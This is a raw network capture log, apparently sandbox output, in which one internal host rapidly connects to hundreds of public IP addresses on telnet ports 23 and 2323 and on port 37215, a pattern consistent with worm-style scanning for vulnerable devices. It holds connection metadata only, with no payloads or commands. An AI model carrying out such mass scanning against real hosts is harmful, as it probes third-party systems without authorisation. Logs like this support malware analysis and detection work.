Nov 3, 2024 15:33:07.144439936 CET	4833	23	192.168.2.14	57.201.123.143
Nov 3, 2024 15:33:07.144444942 CET	43018	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:07.144701958 CET	23	4833	27.185.131.88	192.168.2.14
Nov 3, 2024 15:33:07.144715071 CET	23	4833	204.210.129.200	192.168.2.14
Nov 3, 2024 15:33:07.144723892 CET	23	4833	103.216.30.154	192.168.2.14
Nov 3, 2024 15:33:07.144736052 CET	37215	4847	197.71.251.4	192.168.2.14
Nov 3, 2024 15:33:07.144747972 CET	4833	23	192.168.2.14	27.185.131.88
Nov 3, 2024 15:33:07.144747972 CET	4833	23	192.168.2.14	103.216.30.154
Nov 3, 2024 15:33:07.144748926 CET	23	4833	19.212.29.173	192.168.2.14
Nov 3, 2024 15:33:07.144756079 CET	4833	23	192.168.2.14	204.210.129.200
Nov 3, 2024 15:33:07.144763947 CET	37215	4847	197.156.145.224	192.168.2.14
Nov 3, 2024 15:33:07.144773006 CET	4847	37215	192.168.2.14	197.71.251.4
Nov 3, 2024 15:33:07.144776106 CET	23	4833	120.208.189.174	192.168.2.14
Nov 3, 2024 15:33:07.144790888 CET	37215	4847	156.78.176.195	192.168.2.14
Nov 3, 2024 15:33:07.144790888 CET	4833	23	192.168.2.14	19.212.29.173
Nov 3, 2024 15:33:07.144794941 CET	4847	37215	192.168.2.14	197.156.145.224
Nov 3, 2024 15:33:07.144804955 CET	37215	4847	41.251.35.62	192.168.2.14
Nov 3, 2024 15:33:07.144818068 CET	37215	4847	41.127.57.2	192.168.2.14
Nov 3, 2024 15:33:07.144824028 CET	4833	23	192.168.2.14	120.208.189.174
Nov 3, 2024 15:33:07.144824028 CET	4847	37215	192.168.2.14	156.78.176.195
Nov 3, 2024 15:33:07.144841909 CET	37215	4847	41.30.36.150	192.168.2.14
Nov 3, 2024 15:33:07.144849062 CET	4847	37215	192.168.2.14	41.251.35.62
Nov 3, 2024 15:33:07.144855976 CET	4847	37215	192.168.2.14	41.127.57.2
Nov 3, 2024 15:33:07.144856930 CET	37215	4847	41.0.156.243	192.168.2.14
Nov 3, 2024 15:33:07.144865036 CET	43084	23	192.168.2.14	133.49.168.192
Nov 3, 2024 15:33:07.144869089 CET	37215	4847	41.110.152.122	192.168.2.14
Nov 3, 2024 15:33:07.144880056 CET	4847	37215	192.168.2.14	41.30.36.150
Nov 3, 2024 15:33:07.144881010 CET	37215	4847	156.231.15.248	192.168.2.14
Nov 3, 2024 15:33:07.144887924 CET	4847	37215	192.168.2.14	41.0.156.243
Nov 3, 2024 15:33:07.144893885 CET	37215	4847	156.121.81.82	192.168.2.14
Nov 3, 2024 15:33:07.144906044 CET	37215	4847	197.123.181.186	192.168.2.14
Nov 3, 2024 15:33:07.144917965 CET	37215	4847	41.94.83.32	192.168.2.14
Nov 3, 2024 15:33:07.144922972 CET	4847	37215	192.168.2.14	156.231.15.248
Nov 3, 2024 15:33:07.144926071 CET	4847	37215	192.168.2.14	41.110.152.122
Nov 3, 2024 15:33:07.144927025 CET	4847	37215	192.168.2.14	156.121.81.82
Nov 3, 2024 15:33:07.144933939 CET	37215	4847	156.74.90.42	192.168.2.14
Nov 3, 2024 15:33:07.144948006 CET	37215	4847	41.85.178.26	192.168.2.14
Nov 3, 2024 15:33:07.144951105 CET	4847	37215	192.168.2.14	197.123.181.186
Nov 3, 2024 15:33:07.144951105 CET	4847	37215	192.168.2.14	41.94.83.32
Nov 3, 2024 15:33:07.144962072 CET	37215	4847	197.170.29.185	192.168.2.14
Nov 3, 2024 15:33:07.144969940 CET	4847	37215	192.168.2.14	156.74.90.42
Nov 3, 2024 15:33:07.144977093 CET	37215	4847	197.70.188.139	192.168.2.14
Nov 3, 2024 15:33:07.144979000 CET	4847	37215	192.168.2.14	41.85.178.26
Nov 3, 2024 15:33:07.144990921 CET	37215	4847	197.254.53.16	192.168.2.14
Nov 3, 2024 15:33:07.145004034 CET	37215	4847	41.194.49.85	192.168.2.14
Nov 3, 2024 15:33:07.145006895 CET	4847	37215	192.168.2.14	197.170.29.185
Nov 3, 2024 15:33:07.145009995 CET	4847	37215	192.168.2.14	197.70.188.139
Nov 3, 2024 15:33:07.145016909 CET	37215	4847	156.196.195.67	192.168.2.14
Nov 3, 2024 15:33:07.145025969 CET	4847	37215	192.168.2.14	197.254.53.16
Nov 3, 2024 15:33:07.145029068 CET	37215	4847	156.198.181.96	192.168.2.14
Nov 3, 2024 15:33:07.145039082 CET	4847	37215	192.168.2.14	41.194.49.85
Nov 3, 2024 15:33:07.145047903 CET	37215	4847	156.76.135.96	192.168.2.14
Nov 3, 2024 15:33:07.145059109 CET	4847	37215	192.168.2.14	156.196.195.67
Nov 3, 2024 15:33:07.145061970 CET	23	4833	102.120.238.131	192.168.2.14
Nov 3, 2024 15:33:07.145075083 CET	4847	37215	192.168.2.14	156.198.181.96
Nov 3, 2024 15:33:07.145075083 CET	4847	37215	192.168.2.14	156.76.135.96
Nov 3, 2024 15:33:07.145076036 CET	23	48830	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:07.145097017 CET	37215	4847	41.202.1.65	192.168.2.14
Nov 3, 2024 15:33:07.145097971 CET	4833	23	192.168.2.14	102.120.238.131
Nov 3, 2024 15:33:07.145107985 CET	37215	4847	41.31.2.200	192.168.2.14
Nov 3, 2024 15:33:07.145121098 CET	23	4833	213.171.68.163	192.168.2.14
Nov 3, 2024 15:33:07.145132065 CET	4847	37215	192.168.2.14	41.202.1.65
Nov 3, 2024 15:33:07.145133972 CET	23	4833	83.252.104.48	192.168.2.14
Nov 3, 2024 15:33:07.145147085 CET	4847	37215	192.168.2.14	41.31.2.200
Nov 3, 2024 15:33:07.145158052 CET	4833	23	192.168.2.14	213.171.68.163
Nov 3, 2024 15:33:07.145158052 CET	23	4833	184.228.44.72	192.168.2.14
Nov 3, 2024 15:33:07.145167112 CET	4833	23	192.168.2.14	83.252.104.48
Nov 3, 2024 15:33:07.145169973 CET	23	4833	92.60.148.55	192.168.2.14
Nov 3, 2024 15:33:07.145179987 CET	23	4833	141.172.117.171	192.168.2.14
Nov 3, 2024 15:33:07.145191908 CET	2323	4833	58.9.125.249	192.168.2.14
Nov 3, 2024 15:33:07.145200014 CET	4833	23	192.168.2.14	184.228.44.72
Nov 3, 2024 15:33:07.145200014 CET	4833	23	192.168.2.14	92.60.148.55
Nov 3, 2024 15:33:07.145205021 CET	23	4833	210.218.99.35	192.168.2.14
Nov 3, 2024 15:33:07.145209074 CET	4833	23	192.168.2.14	141.172.117.171
Nov 3, 2024 15:33:07.145217896 CET	23	4833	67.42.154.37	192.168.2.14
Nov 3, 2024 15:33:07.145219088 CET	4833	2323	192.168.2.14	58.9.125.249
Nov 3, 2024 15:33:07.145243883 CET	4833	23	192.168.2.14	210.218.99.35
Nov 3, 2024 15:33:07.145250082 CET	37215	52644	156.115.237.200	192.168.2.14
Nov 3, 2024 15:33:07.145252943 CET	4833	23	192.168.2.14	67.42.154.37
Nov 3, 2024 15:33:07.145288944 CET	52644	37215	192.168.2.14	156.115.237.200
Nov 3, 2024 15:33:07.145338058 CET	48830	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:07.145396948 CET	23	44682	54.33.199.213	192.168.2.14
Nov 3, 2024 15:33:07.145545959 CET	23	43156	13.101.180.166	192.168.2.14
Nov 3, 2024 15:33:07.145633936 CET	48902	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:07.145760059 CET	37215	55160	197.91.194.211	192.168.2.14
Nov 3, 2024 15:33:07.145768881 CET	23	40918	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:07.145802021 CET	55160	37215	192.168.2.14	197.91.194.211
Nov 3, 2024 15:33:07.145864010 CET	37215	59280	156.191.169.252	192.168.2.14
Nov 3, 2024 15:33:07.145874977 CET	37215	47250	197.41.117.125	192.168.2.14
Nov 3, 2024 15:33:07.145884991 CET	37215	45458	197.243.86.185	192.168.2.14
Nov 3, 2024 15:33:07.145895004 CET	37215	37910	41.77.71.178	192.168.2.14
Nov 3, 2024 15:33:07.145905972 CET	37215	56152	156.33.212.75	192.168.2.14
Nov 3, 2024 15:33:07.145915985 CET	37215	40860	197.103.118.254	192.168.2.14
Nov 3, 2024 15:33:07.145925999 CET	37215	34774	156.214.246.139	192.168.2.14
Nov 3, 2024 15:33:07.145939112 CET	37215	59280	156.191.169.252	192.168.2.14
Nov 3, 2024 15:33:07.145947933 CET	23	57854	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:07.145977020 CET	59280	37215	192.168.2.14	156.191.169.252
Nov 3, 2024 15:33:07.145992994 CET	37215	37910	41.77.71.178	192.168.2.14
Nov 3, 2024 15:33:07.146034002 CET	37910	37215	192.168.2.14	41.77.71.178
Nov 3, 2024 15:33:07.146070957 CET	57854	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:07.146236897 CET	37215	47250	197.41.117.125	192.168.2.14
Nov 3, 2024 15:33:07.146248102 CET	37215	56152	156.33.212.75	192.168.2.14
Nov 3, 2024 15:33:07.146275997 CET	47250	37215	192.168.2.14	197.41.117.125
Nov 3, 2024 15:33:07.146280050 CET	56152	37215	192.168.2.14	156.33.212.75
Nov 3, 2024 15:33:07.146317005 CET	23	34620	126.240.3.98	192.168.2.14
Nov 3, 2024 15:33:07.146401882 CET	57940	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:07.146430969 CET	23	54856	208.25.183.113	192.168.2.14
Nov 3, 2024 15:33:07.146440029 CET	23	33358	87.1.26.136	192.168.2.14
Nov 3, 2024 15:33:07.146544933 CET	23	45136	221.95.166.59	192.168.2.14
Nov 3, 2024 15:33:07.146766901 CET	23	53326	161.10.146.147	192.168.2.14
Nov 3, 2024 15:33:07.146769047 CET	43156	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:07.146779060 CET	37215	40860	197.103.118.254	192.168.2.14
Nov 3, 2024 15:33:07.146811008 CET	40860	37215	192.168.2.14	197.103.118.254
Nov 3, 2024 15:33:07.146831989 CET	23	58070	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:07.146953106 CET	37215	45458	197.243.86.185	192.168.2.14
Nov 3, 2024 15:33:07.146966934 CET	23	45256	216.202.115.113	192.168.2.14
Nov 3, 2024 15:33:07.146991968 CET	45458	37215	192.168.2.14	197.243.86.185
Nov 3, 2024 15:33:07.147059917 CET	43240	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:07.147062063 CET	2323	37060	158.79.131.173	192.168.2.14
Nov 3, 2024 15:33:07.147207975 CET	23	40430	58.62.127.193	192.168.2.14
Nov 3, 2024 15:33:07.147218943 CET	37215	34774	156.214.246.139	192.168.2.14
Nov 3, 2024 15:33:07.147258043 CET	34774	37215	192.168.2.14	156.214.246.139
Nov 3, 2024 15:33:07.147452116 CET	40918	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:07.147757053 CET	40988	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:07.148145914 CET	44682	23	192.168.2.14	54.33.199.213
Nov 3, 2024 15:33:07.148441076 CET	44750	23	192.168.2.14	54.33.199.213
Nov 3, 2024 15:33:07.148849010 CET	45136	23	192.168.2.14	221.95.166.59
Nov 3, 2024 15:33:07.148916006 CET	33358	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:07.148924112 CET	53326	23	192.168.2.14	161.10.146.147
Nov 3, 2024 15:33:07.148924112 CET	37060	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:07.148924112 CET	54856	23	192.168.2.14	208.25.183.113
Nov 3, 2024 15:33:07.148924112 CET	40430	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:07.148924112 CET	45256	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:07.148927927 CET	34620	23	192.168.2.14	126.240.3.98
Nov 3, 2024 15:33:07.148924112 CET	58070	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:07.149139881 CET	45256	23	192.168.2.14	221.95.166.59
Nov 3, 2024 15:33:07.149209976 CET	23	43018	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:07.149539948 CET	53326	23	192.168.2.14	161.10.146.147
Nov 3, 2024 15:33:07.149841070 CET	53442	23	192.168.2.14	161.10.146.147
Nov 3, 2024 15:33:07.150232077 CET	34620	23	192.168.2.14	126.240.3.98
Nov 3, 2024 15:33:07.150355101 CET	23	48830	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:07.150516987 CET	34742	23	192.168.2.14	126.240.3.98
Nov 3, 2024 15:33:07.150794983 CET	23	57854	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:07.150898933 CET	40430	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:07.151210070 CET	40548	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:07.151483059 CET	23	43156	13.101.180.166	192.168.2.14
Nov 3, 2024 15:33:07.151614904 CET	58070	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:07.151900053 CET	58164	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:07.152232885 CET	23	40918	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:07.152291059 CET	54856	23	192.168.2.14	208.25.183.113
Nov 3, 2024 15:33:07.152600050 CET	54976	23	192.168.2.14	208.25.183.113
Nov 3, 2024 15:33:07.152872086 CET	23	44682	54.33.199.213	192.168.2.14
Nov 3, 2024 15:33:07.152995110 CET	37060	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:07.153295040 CET	37178	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:07.153608084 CET	23	45136	221.95.166.59	192.168.2.14
Nov 3, 2024 15:33:07.153669119 CET	45256	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:07.153963089 CET	45372	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:07.154252052 CET	23	53326	161.10.146.147	192.168.2.14
Nov 3, 2024 15:33:07.154345036 CET	33358	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:07.154643059 CET	33472	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:07.154977083 CET	23	34620	126.240.3.98	192.168.2.14
Nov 3, 2024 15:33:07.155627966 CET	23	40430	58.62.127.193	192.168.2.14
Nov 3, 2024 15:33:07.156424999 CET	23	58070	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:07.156653881 CET	23	58164	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:07.156702042 CET	58164	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:07.157080889 CET	23	54856	208.25.183.113	192.168.2.14
Nov 3, 2024 15:33:07.157742023 CET	2323	37060	158.79.131.173	192.168.2.14
Nov 3, 2024 15:33:07.158515930 CET	23	45256	216.202.115.113	192.168.2.14
Nov 3, 2024 15:33:07.159264088 CET	23	33358	87.1.26.136	192.168.2.14
Nov 3, 2024 15:33:07.161756039 CET	23	58164	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:07.161828041 CET	58164	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:07.162133932 CET	58174	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:07.164917946 CET	45104	37215	192.168.2.14	197.128.115.142
Nov 3, 2024 15:33:07.164921999 CET	38814	37215	192.168.2.14	156.109.25.155
Nov 3, 2024 15:33:07.166997910 CET	23	58164	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:07.167009115 CET	23	58174	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:07.167047977 CET	58174	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:07.172156096 CET	23	58174	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:07.172216892 CET	58174	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:07.172532082 CET	58176	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:07.176975012 CET	23	58174	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:07.177279949 CET	23	58176	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:07.177326918 CET	58176	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:07.196918964 CET	55706	37215	192.168.2.14	197.2.153.184
Nov 3, 2024 15:33:07.196924925 CET	36472	37215	192.168.2.14	41.39.6.67
Nov 3, 2024 15:33:07.201714993 CET	37215	55706	197.2.153.184	192.168.2.14
Nov 3, 2024 15:33:07.201730967 CET	37215	36472	41.39.6.67	192.168.2.14
Nov 3, 2024 15:33:07.201767921 CET	55706	37215	192.168.2.14	197.2.153.184
Nov 3, 2024 15:33:07.201772928 CET	36472	37215	192.168.2.14	41.39.6.67
Nov 3, 2024 15:33:07.201832056 CET	55706	37215	192.168.2.14	197.2.153.184
Nov 3, 2024 15:33:07.201834917 CET	36472	37215	192.168.2.14	41.39.6.67
Nov 3, 2024 15:33:07.202172995 CET	32980	37215	192.168.2.14	41.152.10.217
Nov 3, 2024 15:33:07.202763081 CET	52688	37215	192.168.2.14	197.202.62.10
Nov 3, 2024 15:33:07.203356028 CET	35756	37215	192.168.2.14	197.83.253.179
Nov 3, 2024 15:33:07.203963995 CET	41304	37215	192.168.2.14	197.71.251.4
Nov 3, 2024 15:33:07.204541922 CET	46176	37215	192.168.2.14	197.156.145.224
Nov 3, 2024 15:33:07.205121040 CET	41386	37215	192.168.2.14	156.78.176.195
Nov 3, 2024 15:33:07.205699921 CET	45286	37215	192.168.2.14	41.251.35.62
Nov 3, 2024 15:33:07.206285000 CET	55982	37215	192.168.2.14	41.127.57.2
Nov 3, 2024 15:33:07.206686974 CET	37215	55706	197.2.153.184	192.168.2.14
Nov 3, 2024 15:33:07.206727982 CET	55706	37215	192.168.2.14	197.2.153.184
Nov 3, 2024 15:33:07.206757069 CET	37215	36472	41.39.6.67	192.168.2.14
Nov 3, 2024 15:33:07.206805944 CET	36472	37215	192.168.2.14	41.39.6.67
Nov 3, 2024 15:33:07.206856012 CET	47838	37215	192.168.2.14	41.30.36.150
Nov 3, 2024 15:33:07.207124949 CET	37215	32980	41.152.10.217	192.168.2.14
Nov 3, 2024 15:33:07.207160950 CET	32980	37215	192.168.2.14	41.152.10.217
Nov 3, 2024 15:33:07.207438946 CET	43338	37215	192.168.2.14	41.0.156.243
Nov 3, 2024 15:33:07.208025932 CET	53220	37215	192.168.2.14	41.110.152.122
Nov 3, 2024 15:33:07.208611965 CET	45870	37215	192.168.2.14	156.231.15.248
Nov 3, 2024 15:33:07.209202051 CET	46970	37215	192.168.2.14	156.121.81.82
Nov 3, 2024 15:33:07.209779024 CET	38898	37215	192.168.2.14	197.123.181.186
Nov 3, 2024 15:33:07.210367918 CET	55982	37215	192.168.2.14	41.94.83.32
Nov 3, 2024 15:33:07.210941076 CET	41078	37215	192.168.2.14	156.74.90.42
Nov 3, 2024 15:33:07.211555958 CET	58932	37215	192.168.2.14	41.85.178.26
Nov 3, 2024 15:33:07.212120056 CET	51320	37215	192.168.2.14	197.170.29.185
Nov 3, 2024 15:33:07.212693930 CET	42944	37215	192.168.2.14	197.70.188.139
Nov 3, 2024 15:33:07.213258028 CET	38128	37215	192.168.2.14	197.254.53.16
Nov 3, 2024 15:33:07.213828087 CET	53038	37215	192.168.2.14	41.194.49.85
Nov 3, 2024 15:33:07.214413881 CET	37318	37215	192.168.2.14	156.196.195.67
Nov 3, 2024 15:33:07.214998007 CET	51290	37215	192.168.2.14	156.198.181.96
Nov 3, 2024 15:33:07.215574980 CET	59392	37215	192.168.2.14	156.76.135.96
Nov 3, 2024 15:33:07.216161013 CET	33876	37215	192.168.2.14	41.202.1.65
Nov 3, 2024 15:33:07.216331959 CET	37215	58932	41.85.178.26	192.168.2.14
Nov 3, 2024 15:33:07.216375113 CET	58932	37215	192.168.2.14	41.85.178.26
Nov 3, 2024 15:33:07.216739893 CET	53466	37215	192.168.2.14	41.31.2.200
Nov 3, 2024 15:33:07.217202902 CET	32980	37215	192.168.2.14	41.152.10.217
Nov 3, 2024 15:33:07.217202902 CET	32980	37215	192.168.2.14	41.152.10.217
Nov 3, 2024 15:33:07.217472076 CET	33032	37215	192.168.2.14	41.152.10.217
Nov 3, 2024 15:33:07.217799902 CET	58932	37215	192.168.2.14	41.85.178.26
Nov 3, 2024 15:33:07.217799902 CET	58932	37215	192.168.2.14	41.85.178.26
Nov 3, 2024 15:33:07.218060970 CET	58954	37215	192.168.2.14	41.85.178.26
Nov 3, 2024 15:33:07.221385002 CET	37215	58932	41.85.178.26	192.168.2.14
Nov 3, 2024 15:33:07.221427917 CET	58932	37215	192.168.2.14	41.85.178.26
Nov 3, 2024 15:33:07.222126007 CET	37215	32980	41.152.10.217	192.168.2.14
Nov 3, 2024 15:33:07.222556114 CET	37215	58932	41.85.178.26	192.168.2.14
Nov 3, 2024 15:33:07.222719908 CET	37215	58932	41.85.178.26	192.168.2.14
Nov 3, 2024 15:33:07.226258039 CET	37215	58932	41.85.178.26	192.168.2.14
Nov 3, 2024 15:33:07.265813112 CET	37215	32980	41.152.10.217	192.168.2.14
Nov 3, 2024 15:33:07.302457094 CET	23	36740	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:07.302546978 CET	36740	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:07.302932978 CET	36834	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:07.307348013 CET	23	36740	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:07.307727098 CET	23	36834	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:07.307780981 CET	36834	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:07.313252926 CET	23	36834	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:07.313327074 CET	36834	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:07.313642025 CET	36836	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:07.318114042 CET	23	36834	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:07.318381071 CET	23	36836	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:07.318428040 CET	36836	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:07.323759079 CET	23	36836	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:07.323823929 CET	36836	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:07.324116945 CET	36838	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:07.324908972 CET	46096	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:07.328605890 CET	23	36836	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:07.328902006 CET	23	36838	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:07.328949928 CET	36838	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:07.329740047 CET	23	46096	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:07.329782963 CET	46096	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:07.334007025 CET	23	36838	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:07.334073067 CET	36838	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:07.334374905 CET	36840	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:07.334808111 CET	23	46096	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:07.334877968 CET	46096	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:07.335169077 CET	46224	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:07.338871002 CET	23	36838	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:07.339133978 CET	23	36840	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:07.339198112 CET	36840	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:07.339632988 CET	23	46096	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:07.340147972 CET	23	46224	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:07.340183020 CET	46224	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:07.344357014 CET	23	36840	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:07.344415903 CET	36840	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:07.344716072 CET	36844	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:07.345278978 CET	23	46224	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:07.345331907 CET	46224	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:07.345630884 CET	46228	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:07.349225044 CET	23	36840	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:07.349571943 CET	23	36844	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:07.349613905 CET	36844	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:07.350064993 CET	23	46224	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:07.350395918 CET	23	46228	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:07.350435972 CET	46228	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:07.354784966 CET	23	36844	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:07.354841948 CET	36844	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:07.355150938 CET	36848	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:07.355356932 CET	23	46228	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:07.355566978 CET	46228	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:07.355864048 CET	46232	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:07.356909037 CET	37624	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:07.359667063 CET	23	36844	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:07.359901905 CET	23	36848	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:07.359950066 CET	36848	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:07.360316992 CET	23	46228	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:07.360706091 CET	23	46232	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:07.360749006 CET	46232	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:07.361872911 CET	23	37624	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:07.361918926 CET	37624	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:07.366074085 CET	23	46232	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:07.366136074 CET	46232	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:07.366432905 CET	46234	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:07.366812944 CET	23	37624	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:07.366868973 CET	37624	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:07.367172003 CET	37760	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:07.370970964 CET	23	46232	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:07.371319056 CET	23	46234	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:07.371366978 CET	46234	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:07.371721029 CET	23	37624	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:07.371942997 CET	23	37760	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:07.371989012 CET	37760	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:07.376923084 CET	23	46234	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:07.376991034 CET	46234	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:07.377285957 CET	46238	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:07.377419949 CET	23	37760	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:07.377729893 CET	37760	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:07.378046989 CET	37764	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:07.381930113 CET	23	46234	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:07.382244110 CET	23	46238	101.102.33.216	192.168.2.14
Nov 3, 2024 15:33:07.382288933 CET	46238	23	192.168.2.14	101.102.33.216
Nov 3, 2024 15:33:07.382651091 CET	23	37760	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:07.382791996 CET	23	37764	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:07.382837057 CET	37764	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:07.388353109 CET	23	37764	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:07.388423920 CET	37764	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:07.388735056 CET	37766	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:07.393234015 CET	23	37764	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:07.393515110 CET	23	37766	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:07.393560886 CET	37766	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:07.398857117 CET	23	37766	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:07.398912907 CET	37766	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:07.399214029 CET	37768	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:07.403856993 CET	23	37766	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:07.404851913 CET	23	37768	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:07.404901981 CET	37768	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:07.411767006 CET	23	37768	80.166.40.152	192.168.2.14
Nov 3, 2024 15:33:07.411834002 CET	37768	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:07.412132978 CET	37770	23	192.168.2.14	80.166.40.152
